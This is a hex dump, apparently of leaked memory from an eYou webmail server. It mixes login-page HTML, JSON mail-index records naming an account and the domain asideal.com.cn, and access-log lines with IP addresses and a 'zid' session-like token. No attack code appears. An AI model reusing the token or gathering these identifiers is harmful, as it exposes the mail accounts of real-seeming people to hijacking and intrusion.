8E ...........URL..\n 1cf0: A7 E5 88 B6 E5 BC 80 E5 A7 8B 20 2D 2D 3E 0A 20 .......... -->. \n 1d00: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1d10: 20 20 20 20 20 20 20 0A 20 20 20 20 20 20 20 20 . \n 1d20: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1d30: 3C 21 2D 2D 20 E7 99 BB E5 BD 95 E6 88 90 E5 8A <!-- ...........\n 1d40: 9F E4 BB A5 E5 90 8E E8 B7 B3 E8 BD AC E7 9A 84 ................\n 1d50: 55 52 4C 20 2D 2D 3E 0A 20 20 20 20 20 20 20 20 URL -->. \n 1d60: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1d70: 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 <input type=\"hid\n 1d80: 64 65 6E 22 20 6E 61 6D 65 3D 22 67 6F 22 20 76 den\" name=\"go\" v\n 1d90: 61 6C 75 65 3D 22 2F 3F 71 3D 62 61 73 65 22 3E alue=\"/?q=base\">\n 1da0: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . \n 1db0: 20 20 20 20 20 0A 20 20 20 20 20 20 20 20 20 20 . \n 1dc0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 21 <!\n 1dd0: 2D 2D 20 E7 99 BB E5 BD 95 E6 88 90 E5 8A 9F E5 -- .............\n 1de0: A4 B1 E8 B4 A5 E5 90 8E E8 B7 B3 E8 BD AC E7 9A ................\n 1df0: 84 55 52 4C 20 2D 2D 3E 0A 20 20 20 20 20 20 20 .URL -->. \n 1e00: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1e10: 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 <input type=\"hi\n 1e20: 64 64 65 6E 22 20 6E 61 6D 65 3D 22 72 65 66 65 dden\" name=\"refe\n 1e30: 72 65 72 22 20 76 61 6C 75 65 3D 22 2F 3F 71 3D rer\" value=\"/?q=\n 1e40: 6C 6F 67 69 6E 22 3E 0A 0A 20 20 20 20 20 20 20 login\">.. \n 1e50: 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 21 2D <!-\n 1e60: 2D 20 E7 99 BB E5 BD 95 E5 90 8E E7 9A 84 55 52 - ............UR\n 1e70: 4C E6 8E A7 E5 88 B6 E7 BB 93 E6 9D 9F 20 2D 2D L............ --\n 1e80: 3E 0A 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 >.. \n 1e90: 20 20 20 20 20 20 20 3C 21 2D 2D 20 E7 99 BB E5 <!-- ....\n 1ea0: BD 95 E6 8C 89 E9 92 AE 20 2D 2D 3E 0A 20 20 20 ........ -->. \n 1eb0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 1ec0: 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 <input type=\"su\n 1ed0: 62 6D 69 74 22 20 63 6C 61 73 73 3D 22 62 74 6E bmit\" class=\"btn\n 1ee0: 22 20 76 61 6C 75 65 3D 22 E7 99 BB 20 20 E5 BD \" value=\"... ..\n 1ef0: 95 22 20 20 73 74 79 6C 65 3D 22 66 6C 6F 61 74 .\" style=\"float\n 1f00: 3A 72 69 67 68 74 22 2F 3E 0A 20 20 20 20 20 20 :right\"/>. \n 1f10: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 64 <d\n 1f20: 69 76 20 73 74 79 6C 65 3D 22 63 6C 65 61 72 3A iv style=\"clear:\n 1f30: 62 6F 74 68 22 3E 3C 2F 64 69 76 3E 0A 20 20 20 both\"></div>. \n 1f40: 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 2F 64 </d\n 1f50: 69 76 3E 0A 20 20 20 20 20 20 20 20 3C 2F 66 6F iv>. </fo\n 1f60: 72 6D 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 rm>. \n 1f70: 20 20 20 3C 2F 64 69 76 3E 0A 20 20 20 20 20 20 </div>. \n 1f80: 20 20 3C 2F 64 69 76 3E 0A 20 20 20 20 20 20 20 </div>. \n 1f90: 20 3C 64 69 76 20 63 6C 61 73 73 3D 22 66 22 20 <div class=\"f\" \n 1fa0: 69 64 3D 22 66 22 20 73 74 79 6C 65 3D 22 64 69 id=\"f\" style=\"di\n 1fb0: 73 70 6C 61 79 3A 6E 6F 6E 65 3B 22 3E 0A 20 20 splay:none;\">. \n 1fc0: 20 20 20 20 20 20 20 20 20 20 3C 21 2D 2D 64 69 <!--di\n 1fd0: 76 20 63 6C 61 73 73 3D 22 66 6C 22 3E 3C 69 6D v class=\"fl\"><im\n 1fe0: 67 20 73 72 63 3D 22 69 6D 61 67 65 73 2F 74 6D g src=\"images/tm\n 1ff0: 70 2E 6A 70 67 22 20 2F 3E 3C 2F 64 69 76 3E 0A p.jpg\" /></div>.\n 2000: 20 20 20 20 20 20 20 20 20 20 20 20 3C 64 69 76 <div\n 2010: 20 63 6C 61 73 73 3D 22 66 72 22 3E 0A 20 20 20 class=\"fr\">. \n 2020: 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 61 20 <a \n 2030: 68 72 65 66 3D 22 23 22 3E 32 30 31 32 2D 39 2D href=\"#\">2012-9-\n 2040: 35 20 65 79 6F 75 2E 6E 65 74 E6 9B B4 E6 96 B0 5 eyou.net......\n 2050: E8 87 B3 38 2E 30 2E 31 3C 2F 61 3E 0A 20 20 20 ...8.0.1</a>. \n 2060: 20 20 20 20 20 20 20 20 20 20 20 20 20 3C 61 20 <a \n 2070: 68 72 65 66 3D 22 23 22 3E E4 B8 80 E5 A4 A7 E9 href=\"#\">.......\n 2080: 82 AE E4 BB B6 E7 B3 BB E7 BB 9F E8 BD AF E4 BB ................\n 2090: B6 E5 8F 8A E6 95 B4 E4 BD 93 E8 A7 A3 E5 86 B3 ................\n 20a0: E6 96 B9 E6 A1 88 E6 8F 90 E4 BE 9B E5 95 86 3C ...............<\n 20b0: 2F 61 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 /a>. \n 20c0: 20 20 20 20 3C 61 20 68 72 65 66 3D 22 23 22 3E <a href=\"#\">\n 20d0: E4 B8 AD E5 9B BD E7 AC AC E4 B8 80 E5 A4 A7 E9 ................\n 20e0: 82 AE E4 BB B6 E7 B3 BB E7 BB 9F E8 BD AF E4 BB ................\n 20f0: B6 E5 8F 8A E6 95 B4 E7 B3 BB E7 BB 9F E8 BD AF ................\n 2100: E4 BB B6 E5 8F 8A E6 95 B4 E4 BD 93 E8 A7 A3 E5 ................\n 2110: 86 B3 E6 96 B9 E6 A1 88 E6 8F 90 E4 BE 9B E5 95 ................\n 2120: 86 3C 2F 61 3E 0A 20 20 20 20 20 20 20 20 20 20 .</a>. \n 2130: 20 20 20 20 20 20 3C 61 20 68 72 65 66 3D 22 23 <a href=\"#\n 2140: 22 3E E4 B8 AD E5 9B BD E7 AC AC E4 B8 80 E5 A4 \">..............\n 2150: A7 E9 82 AE E4 BB B6 E7 B3 BB E7 BB 9F E5 86 B3 ................\n 2160: E6 96 B9 E6 A1 88 E6 8F 90 E4 BE 9B E5 95 86 3C ...............<\n 2170: 2F 61 3E 0A 20 20 20 20 20 20 20 20 20 20 20 20 /a>. \n 2180: 3C 2F 64 69 76 2D 2D 3E 0A 20 20 20 20 20 20 20 </div-->. \n 2190: 20 3C 2F 64 69 76 3E 0A 20 20 20 20 20 20 20 20 </div>. \n 21a0: 3C 64 69 76 20 63 6C 61 73 73 3D 22 6C 6F 67 69 <div class=\"logi\n 21b0: 6E 5F 64 72 61 67 22 20 69 64 3D 22 64 72 61 67 n_drag\" id=\"drag\n 21c0: 5F 74 61 72 67 65 74 22 3E 3C 2F 64 69 76 3E 0A _target\"></div>.\n 21d0: 3C 2F 64 69 76 3E 0A 0A 3C 64 69 76 20 63 6C 61 </div>..<div cla\n 21e0: 73 73 3D 22 62 22 3E 0A 3C 21 2D 2D 20 E7 89 88 ss=\"b\">.<!-- ...\n 21f0: E6 9D 83 E4 BF A1 E6 81 AF E5 BC 80 E5 A7 8B 20 ............... \n 2200: 2D 2D 3E 0A 65 59 6F 75 4D 61 69 6C 20 35 20 26 -->.eYouMail 5 &\n 2210: 63 6F 70 79 3B 32 30 30 39 2D 32 30 31 32 20 65 copy;2009-2012 e\n 2220: 59 6F 75 2E 6E 65 74 20 26 6E 62 73 70 3B 26 6E You.net &nbsp;&n\n 2230: 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B bsp;&nbsp;&nbsp;\n 2240: E4 B8 AD E5 9B BD E7 AC AC E4 B8 80 E5 A4 A7 E9 ................\n 2250: 82 AE E4 BB B6 E7 B3 BB E7 BB 9F E8 BD AF E4 BB ................\n 2260: B6 E4 B8 8E E6 95 B4 E4 BD 93 E8 A7 A3 E5 86 B3 ................\n 2270: E6 96 B9 E6 A1 88 E6 8F 90 E4 BE 9B E5 95 86 26 ...............&\n 2280: 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 nbsp;&nbsp;&nbsp\n 2290: 3B 26 6E 62 73 70 3B 0A 3C 21 2D 2D 20 E7 89 88 ;&nbsp;.<!-- ...\n 22a0: E6 9D 83 E4 BF A1 E6 81 AF E7 BB 93 E6 9D 9F 20 ............... \n 22b0: 2D 2D 3E 0A 3C 2F 64 69 76 3E 0A 3C 73 63 72 69 -->.</div>.<scri\n 22c0: 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 pt type=\"text/ja\n 22d0: 76 61 73 63 72 69 70 74 22 20 73 72 63 3D 22 2F vascript\" src=\"/\n 22e0: 74 70 6C 2F 75 73 65 72 2F 70 75 62 6C 69 63 2F tpl/user/public/\n 22f0: 6A 73 2F 6C 6F 61 64 5F 63 61 63 68 65 2E 6A 73 js/load_cache.js\n 2300: 22 3E 3C 2F 73 63 72 69 70 74 3E 3C 2F 62 6F 64 \"></script></bod\n 2310: 79 3E 0A 3C 21 2D 2D 20 E7 99 BB E5 BD 95 E7 95 y>.<!-- ........\n 2320: 8C E9 9D A2 E9 AB 98 E7 BA A7 E5 A4 84 E7 90 86 ................\n 2330: E5 BC 80 E5 A7 8B 20 2D 2D 3E 0A 3C 73 63 72 69 ...... -->.<scri\n 2340: 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 pt type=\"text/ja\n 2350: 76 61 73 63 72 69 70 74 22 20 73 72 63 3D 22 2F vascript\" src=\"/\n 2360: 74 70 6C 2F 6C 6F 67 69 6E 2F 75 73 65 72 2F 6A tpl/login/user/j\n 2370: 73 2F 6C 6F 67 69 6E 2E 6A 73 22 3E 3C 2F 73 63 s/login.js\"></sc\n 2380: 72 69 70 74 3E 0A 3C 73 63 72 69 70 74 20 74 79 ript>.<script ty\n 2390: 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 pe=\"text/javascr\n 23a0: 69 70 74 22 3E 0A 69 66 20 28 77 69 6E 64 6F 77 ipt\">.if (window\n 23b0: 2E 4C 6F 67 69 6E 29 20 7B 0A 20 20 20 20 74 72 .Login) {. tr\n 23c0: 79 20 7B 0A 20 20 20 20 28 6E 65 77 20 4C 6F 67 y {. (new Log\n 23d0: 69 6E 28 29 29 2E 69 6E 69 74 28 29 3B 0A 20 20 in()).init();. \n 23e0: 20 20 7D 20 63 61 74 63 68 28 65 29 7B 7D 0A 7D } catch(e){}.}\n 23f0: 0A 3C 2F 73 63 72 69 70 74 3E 0A 3C 21 2D 2D 20 .</script>.<!-- \n 2400: E7 99 BB E5 BD 95 E7 95 8C E9 9D A2 E9 AB 98 E7 ................\n 2410: BA A7 E5 A4 84 E7 90 86 E7 BB 93 E6 9D 9F 20 2D .............. -\n 2420: 2D 3E 0A 0A 3C 2F 68 74 6D 6C 3E 0A 69 73 5F 74 ->..</html>.is_t\n 2430: 61 73 6B 22 3A 22 30 22 2C 22 68 61 73 5F 61 74 ask\":\"0\",\"has_at\n 2440: 74 61 63 68 22 3A 22 31 22 2C 22 68 61 73 5F 6E tach\":\"1\",\"has_n\n 2450: 6F 74 69 66 79 22 3A 22 30 22 2C 22 61 74 74 61 otify\":\"0\",\"atta\n 2460: 63 68 5F 74 79 70 65 22 3A 22 2E 30 2E 22 2C 22 ch_type\":\".0.\",\"\n 2470: 6D 65 64 69 61 5F 74 79 70 65 22 3A 22 30 22 2C media_type\":\"0\",\n 2480: 22 77 65 62 5F 63 6F 6C 6F 72 22 3A 22 30 22 2C \"web_color\":\"0\",\n 2490: 22 72 65 6D 61 72 6B 73 5F 63 6F 6E 74 65 6E 74 \"remarks_content\n 24a0: 22 3A 22 22 2C 22 72 65 6D 61 72 6B 73 5F 74 69 \":\"\",\"remarks_ti\n 24b0: 6D 65 22 3A 22 30 22 2C 22 70 72 69 6F 72 69 74 me\":\"0\",\"priorit\n 24c0: 79 22 3A 22 33 22 2C 22 69 6E 64 65 78 5F 74 69 y\":\"3\",\"index_ti\n 24d0: 6D 65 22 3A 22 31 34 30 39 36 33 33 38 31 37 22 me\":\"1409633817\"\n 24e0: 2C 22 6D 61 69 6C 5F 74 69 6D 65 22 3A 22 31 34 ,\"mail_time\":\"14\n 24f0: 30 39 36 33 33 38 36 34 22 2C 22 6D 6F 76 65 5F 09633864\",\"move_\n 2500: 74 69 6D 65 22 3A 22 31 34 30 39 36 33 33 38 31 time\":\"140963381\n 2510: 37 22 2C 22 66 69 6C 65 5F 69 64 22 3A 22 32 30 7\",\"file_id\":\"20\n 2520: 31 34 30 39 5C 2F 64 5C 2F 31 5C 2F 35 34 30 35 1409\\/d\\/1\\/5405\n 2530: 34 65 31 39 30 37 32 39 37 31 33 37 36 37 30 30 4e19072971376700\n 2540: 5F 30 32 5F 30 30 2D 32 30 31 34 30 39 5C 2F 33 _02_00-201409\\/3\n 2550: 5C 2F 37 5C 2F 35 34 30 35 34 65 31 39 30 37 32 \\/7\\/54054e19072\n 2560: 39 37 31 33 37 36 37 30 30 5F 30 31 5F 30 30 22 971376700_01_00\"\n 2570: 2C 22 6D 61 69 6C 5F 75 6E 69 71 75 65 22 3A 22 ,\"mail_unique\":\"\n 2580: 38 36 33 34 65 32 65 65 34 35 30 37 30 30 36 63 8634e2ee4507006c\n 2590: 61 33 62 34 62 36 62 66 34 66 65 36 39 65 31 64 a3b4b6bf4fe69e1d\n 25a0: 22 2C 22 71 75 65 75 65 5F 75 6E 69 71 75 65 22 \",\"queue_unique\"\n 25b0: 3A 22 30 63 39 64 34 33 38 39 39 63 37 33 39 39 :\"0c9d43899c7399\n 25c0: 65 64 34 61 61 64 66 31 65 36 38 64 36 37 31 35 ed4aadf1e68d6715\n 25d0: 63 31 22 2C 22 6D 69 67 72 61 74 65 5F 6E 61 6D c1\",\"migrate_nam\n 25e0: 65 22 3A 22 22 2C 22 6D 69 67 72 61 74 65 5F 75 e\":\"\",\"migrate_u\n 25f0: 6E 69 71 75 65 22 3A 22 30 80 00 00 00 00 00 00 nique\":\"0.......\n 2600: 10 10 00 00 00 00 00 00 05 64 4C 18 00 00 00 00 .........dL.....\n 2610: B0 71 4C 18 00 00 00 00 00 00 00 00 00 00 00 00 .qL.............\n 2620: 00 00 00 00 00 00 00 00 68 62 4C 18 00 00 00 00 ........hbL.....\n 2630: D8 62 4C 18 00 00 00 00 F0 61 4C 18 00 00 00 00 .bL......aL.....\n 2640: 00 00 00 00 00 00 00 00 40 62 4C 18 00 00 00 00 ........@bL.....\n 2650: 40 62 4C 18 00 00 00 00 00 00 00 00 00 00 00 00 @bL.............\n 2660: 00 00 00 00 00 00 00 00 40 62 4C 18 00 00 00 00 ........@bL.....\n 2670: 52 62 4C 18 00 00 00 00 60 9B 87 00 00 00 00 00 RbL.....`.......\n 2680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2690: 01 00 00 00 00 00 00 00 35 63 64 66 0D 0A 20 63 ........5cdf.. c\n 26a0: 68 75 6E 6B 65 64 0D 0A 43 6F 6E 6E 65 63 74 69 hunked..Connecti\n 26b0: 68 62 4C 18 00 00 00 00 E0 61 4C 18 00 00 00 00 hbL......aL.....\n 26c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 26d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 26e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 26f0: 60 9B 87 00 00 00 00 00 00 00 00 00 00 00 00 00 `...............\n 2700: 00 00 00 00 00 00 00 00 82 00 00 00 00 00 00 00 ................\n 2710: F0 61 4C 18 00 00 00 00 B0 FF 4B 18 00 00 00 00 .aL.......K.....\n 2720: C8 00 4C 18 00 00 00 00 B8 62 4C 18 00 00 00 00 ..L......bL.....\n 2730: 68 62 4C 18 00 00 00 00 C8 62 4C 18 00 00 00 00 hbL......bL.....\n 2740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2790: 31 32 37 2E 30 2E 30 2E 31 20 2D 20 2D 20 5B 32 127.0.0.1 - - [2\n 27a0: 33 2F 53 65 70 2F 32 30 31 34 3A 31 33 3A 31 37 3/Sep/2014:13:17\n 27b0: 3A 34 32 20 2B 30 38 30 30 5D 20 20 32 30 30 20 :42 +0800] 200 \n 27c0: 22 47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 22 \"GET / HTTP/1.1\"\n 27d0: 20 32 33 37 38 38 20 22 2D 22 20 22 63 75 72 6C 23788 \"-\" \"curl\n 27e0: 2F 37 2E 31 35 2E 35 20 28 78 38 36 5F 36 34 2D /7.15.5 (x86_64-\n 27f0: 72 65 64 68 61 74 2D 6C 69 6E 75 78 2D 67 6E 75 redhat-linux-gnu\n 2800: 29 20 6C 69 62 63 75 72 6C 2F 37 2E 31 35 2E 35 ) libcurl/7.15.5\n 2810: 20 4F 70 65 6E 53 53 4C 2F 30 2E 39 2E 38 62 20 OpenSSL/0.9.8b \n 2820: 7A 6C 69 62 2F 31 2E 32 2E 33 20 6C 69 62 69 64 zlib/1.2.3 libid\n 2830: 6E 2F 30 2E 36 2E 35 22 20 22 2D 22 0A 00 00 00 n/0.6.5\" \"-\"....\n 2840: 00 00 00 00 00 00 00 00 68 8F 4A 18 00 00 00 00 ........h.J.....\n 2850: 80 E1 4B 18 00 00 00 00 F0 2F 5D 00 00 00 00 00 ..K....../].....\n 2860: 00 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 ................\n 2870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2890: 09 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 ................\n 28a0: 80 E1 4B 18 00 00 00 00 00 00 00 00 00 00 00 00 ..K.............\n 28b0: 01 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 ................\n 28c0: 60 7C 87 00 00 00 00 00 E0 23 45 00 00 00 00 00 `|.......#E.....\n 28d0: D0 E1 4B 18 00 00 00 00 D0 D1 4C 18 00 00 00 00 ..K.......L.....\n 28e0: D0 D1 4C 18 00 00 00 00 00 00 00 00 00 00 00 00 ..L.............\n 28f0: 00 00 00 00 00 00 00 00 D0 D1 4C 18 00 00 00 00 ..........L.....\n 2900: D0 E1 4C 18 00 00 00 00 C0 A2 87 00 00 00 00 00 ..L.............\n 2910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2920: 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2970: 80 00 00 00 00 00 00 00 92 A3 87 00 00 00 00 00 ................\n 2980: 92 A3 87 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 29a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 29b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 29c0: 02 00 00 00 00 00 00 00 20 65 4C 18 00 00 00 00 ........ eL.....\n 29d0: 90 65 4C 18 00 00 00 00 20 65 4C 18 00 00 00 00 .eL..... eL.....\n 29e0: A8 66 4C 18 00 00 00 00 80 64 4C 18 00 00 00 00 .fL......dL.....\n 29f0: 80 65 4C 18 00 00 00 00 B0 65 4C 18 00 00 00 00 .eL......eL.....\n 2a00: 00 00 00 00 00 00 00 00 00 66 4C 18 00 00 00 00 .........fL.....\n 2a10: 00 66 4C 18 00 00 00 00 00 00 00 00 00 00 00 00 .fL.............\n 2a20: 00 00 00 00 00 00 00 00 00 66 4C 18 00 00 00 00 .........fL.....\n 2a30: 12 66 4C 18 00 00 00 00 60 9B 87 00 00 00 00 00 .fL.....`.......\n 2a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2a50: 01 00 00 00 00 00 00 00 31 62 35 0D 0A 00 00 00 ........1b5.....\n 2a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2a70: 28 66 4C 18 00 00 00 00 A0 65 4C 18 00 00 00 00 (fL......eL.....\n 2a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2a90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2aa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 2ab0: 60 9B 87 00 00 00 00 00 00 00 00 00 00 00 00 00 `...............\n 2ac0: 00 00 00 00 00 00 00 00 82 00 00 00 00 00 00 00 ................\n 2ad0: B0 65 4C 18 00 00 00 00 C8 00 4C 18 00 00 00 00 .eL.......L.....\n 2ae0: 20 65 4C 18 00 00 00 00 78 66 4C 18 00 00 00 00 eL.....xfL.....\n 2af0: 80 64 4C 18 00 00 00 00 88 66 4C 18 00 00 00 00 .dL......fL.....\n 2b00: 28 66 4C 18 00 00 00 00 98 66 4C 18 00 00 00 00 (fL......fL.....\n 2b10: 32 30 32 2E 31 30 30 2E 32 34 36 2E 39 38 20 2D 202.100.246.98 -\n 2b20: 20 2D 20 5B 32 33 2F 53 65 70 2F 32 30 31 34 3A - [23/Sep/2014:\n 2b30: 31 33 3A 31 37 3A 34 31 20 2B 30 38 30 30 5D 20 13:17:41 +0800] \n 2b40: 20 32 30 30 20 22 47 45 54 20 2F 75 73 65 72 2F 200 \"GET /user/\n 2b50: 3F 71 3D 64 61 74 61 26 5F 64 61 74 61 3D 66 6F ?q=data&_data=fo\n 2b60: 6C 64 65 72 25 33 44 26 7A 69 64 3D 61 63 36 33 lder%3D&zid=ac63\n 2b70: 33 64 37 38 38 32 33 64 66 61 34 31 62 33 65 64 3d78823dfa41b3ed\n 2b80: 61 64 30 65 38 63 66 32 63 62 64 63 20 48 54 54 ad0e8cf2cbdc HTT\n 2b90: 50 2F 31 2E 31 22 20 34 34 39 20 22 68 74 74 70 P/1.1\" 449 \"http\n 2ba0: 3A 2F 2F 6D 61 69 6C 2E 61 73 69 64 65 61 6C 2E ://mail.asideal.\n 2bb0: 63 6F 6D 2E 63 6E 2F 3F 71 3D 62 61 73 65 22 20 com.cn/?q=base\" \n 2bc0: 22 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 \"Mozilla/5.0 (Wi\n 2bd0: 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 4F ndows NT 6.1; WO\n 2be0: 57 36 34 3B 20 72 76 3A 33 32 2E 30 29 20 47 65 W64; rv:32.0) Ge\n 2bf0: 63 6B 6F 2F 32 30 31 30 30 31 30 31 20 46 69 72 cko/20100101 Fir\n 2c00: 65 66 6F 78 2F 33 32 2E 30 22 20 22 2D 22 0A 00 efox/32.0\" \"-\"..\n 2c10: 20 00 06 00 22 00 06 00 24 00 06 00 27 00 06 00 ...\"...$...'...\n 2c20: 28 00 06 00 2A 00 06 00 2D 00 06 00 30 00 06 00 (...*...-...0...\n 2c30: 31 00 06 00 34 00 06 00 38 00 06 00 3B 00 06 00 1...4...8...;...\n 2c40: 3D 00 06 00 3E 00 06 00 40 00 06 00 40 00 05 00 =...>...@...@...\n 2c50: 43 00 05 00 45 00 05 00 48 00 05 00 4C 00 05 00 C...E...H...L...\n 2c60: 4F 00 05 00 52 00 05 00 55 00 05 00 59 00 05 00 O...R...U...Y...\n 2c70: 5D 00 05 00 5E 00 05 00 60 00 05 00 64 00 05 00 ]...^...`...d...\n 2c80: 67 00 05 00 6A 00 05 00 70 00 05 00 76 00 05 00 g...j...p...v...\n 2c90: 7B 00 05 00 7C 00 05 00 7E 00 05 00 80 00 05 00 {...|...~.......\n 2ca0: 83 00 04 00 88 00 04 00 8E 00 04 00 9B 00 04 00 ................\n 2cb0: A7 00 04 00 AE 00 04 00 BB 00 04 00 C4 00 04 00 ................\n 2cc0: D1 00 04 00 E2 00 04 00 ED 00 04 00 F7 00 04 00 ................\n 2cd0: FE 00 04 00 0B 01 03 00 29 01 03 00 55 01 03 00 ........)...U...\n 2ce0: 7F 01 03 00 B3 01 03 00 E4 01 03 00 FF 01 03 00 ................\n 2cf0: 34 02 02 00 C0 02 02 00 32 03 02 00 E3 03 02 00 4.......2.......\n 2d00: F4 04 01 00 15 07 01 00 09 0C 00 00 2C 22 69 6E ............,\"in\n 2d10: 64 65 78 5F 74 69 6D 65 22 3A 22 31 34 30 39 35 dex_time\":\"14095\n 2d20: 36 33 38 37 39 22 2C 22 6D 61 69 6C 5F 74 69 6D 63879\",\"mail_tim\n 2d30: 65 22 3A 22 31 34 30 39 35 36 33 38 35 31 22 2C e\":\"1409563851\",\n 2d40: 22 6D 6F 76 65 5F 74 69 6D 65 22 3A 22 31 34 30 \"move_time\":\"140\n 2d50: 39 35 36 33 38 37 39 22 2C 22 66 69 6C 65 5F 69 9563879\",\"file_i\n 2d60: 64 22 3A 22 32 30 31 34 30 39 5C 2F 63 5C 2F 63 d\":\"201409\\/c\\/c\n 2d70: 5C 2F 35 34 30 34 33 63 65 37 30 37 32 39 37 30 \\/54043ce7072970\n 2d80: 39 30 38 32 30 30 5F 30 33 5F 30 30 2D 32 30 31 908200_03_00-201\n 2d90: 34 30 39 5C 2F 62 5C 2F 62 5C 2F 35 34 30 34 33 409\\/b\\/b\\/54043\n 2da0: 63 65 37 30 37 32 39 37 30 39 30 38 32 30 30 5F ce7072970908200_\n 2db0: 30 33 5F 30 30 22 2C 22 6D 61 69 6C 5F 75 6E 69 03_00\",\"mail_uni\n 2dc0: 71 75 65 22 3A 22 35 34 37 38 39 38 65 62 31 62 que\":\"547898eb1b\n 2dd0: 32 32 39 38 63 39 62 33 37 34 36 66 61 66 33 32 2298c9b3746faf32\n 2de0: 38 33 37 61 66 63 22 2C 22 71 75 65 75 65 5F 75 837afc\",\"queue_u\n 2df0: 6E 69 71 75 65 22 3A 22 61 30 66 39 35 65 38 36 nique\":\"a0f95e86\n 2e00: 63 37 31 38 34 66 39 63 30 62 62 36 34 64 64 62 c7184f9c0bb64ddb\n 2e10: 62 32 62 62 35 36 35 35 22 2C 22 6D 69 67 72 61 b2bb5655\",\"migra\n 2e20: 74 65 5F 6E 61 6D 65 22 3A 22 22 2C 22 6D 69 67 te_name\":\"\",\"mig\n 2e30: 72 61 74 65 5F 75 6E 69 71 75 65 22 3A 22 22 2C rate_unique\":\"\",\n 2e40: 22 64 65 6C 65 74 65 64 5F 74 69 6D 65 22 3A 22 \"deleted_time\":\"\n 2e50: 30 22 7D 2C 7B 22 61 63 63 74 5F 69 64 22 3A 22 0\"},{\"acct_id\":\"\n 2e60: 34 32 38 36 22 2C 22 6F 77 6E 5F 61 63 63 74 5F 4286\",\"own_acct_\n 2e70: 74 79 70 65 22 3A 22 30 22 2C 22 6F 77 6E 5F 61 type\":\"0\",\"own_a\n 2e80: 63 63 74 5F 6E 61 6D 65 22 3A 22 74 69 61 6E 6A cct_name\":\"tianj\n 2e90: 69 22 2C 22 6F 77 6E 5F 72 65 61 6C 5F 61 63 63 i\",\"own_real_acc\n 2ea0: 74 5F 6E 61 6D 65 22 3A 22 74 69 61 6E 6A 69 22 t_name\":\"tianji\"\n 2eb0: 2C 22 6F 77 6E 5F 64 6F 6D 61 69 6E 5F 74 79 70 ,\"own_domain_typ\n 2ec0: 65 22 3A 22 30 22 2C 22 6F 77 6E 5F 64 6F 6D 61 e\":\"0\",\"own_doma\n 2ed0: 69 6E 5F 6E 61 6D 65 22 3A 22 61 73 69 64 65 61 in_name\":\"asidea\n 2ee0: 6C 2E 63 6F 6D 2E 63 6E 22 2C 22 6F 77 6E 5F 72 l.com.cn\",\"own_r\n 2ef0: 65 61 6C 5F 64 6F 6D 61 69 6E 5F 6E 61 6D 65 22 eal_domain_name\"\n 2f00: 3A 22 61 73 69 64 65 61 6C 2E 63 6F 6D 2E 63 6E :\"asideal.com.cn\n 2f10: 22 2C 22 64 65 6C 69 76 65 72 5F 61 63 63 74 5F \",\"deliver_acct_\n 2f20: 69 64 22 3A 22 34 33 37 31 22 2C 22 64 65 6C 69 id\":\"4371\",\"deli\n 2f30: 76 65 72 5F 61 63 63 74 5F 74 79 70 65 22 3A 22 ver_acct_type\":\"\n 2f40: 30 22 2C 22 64 65 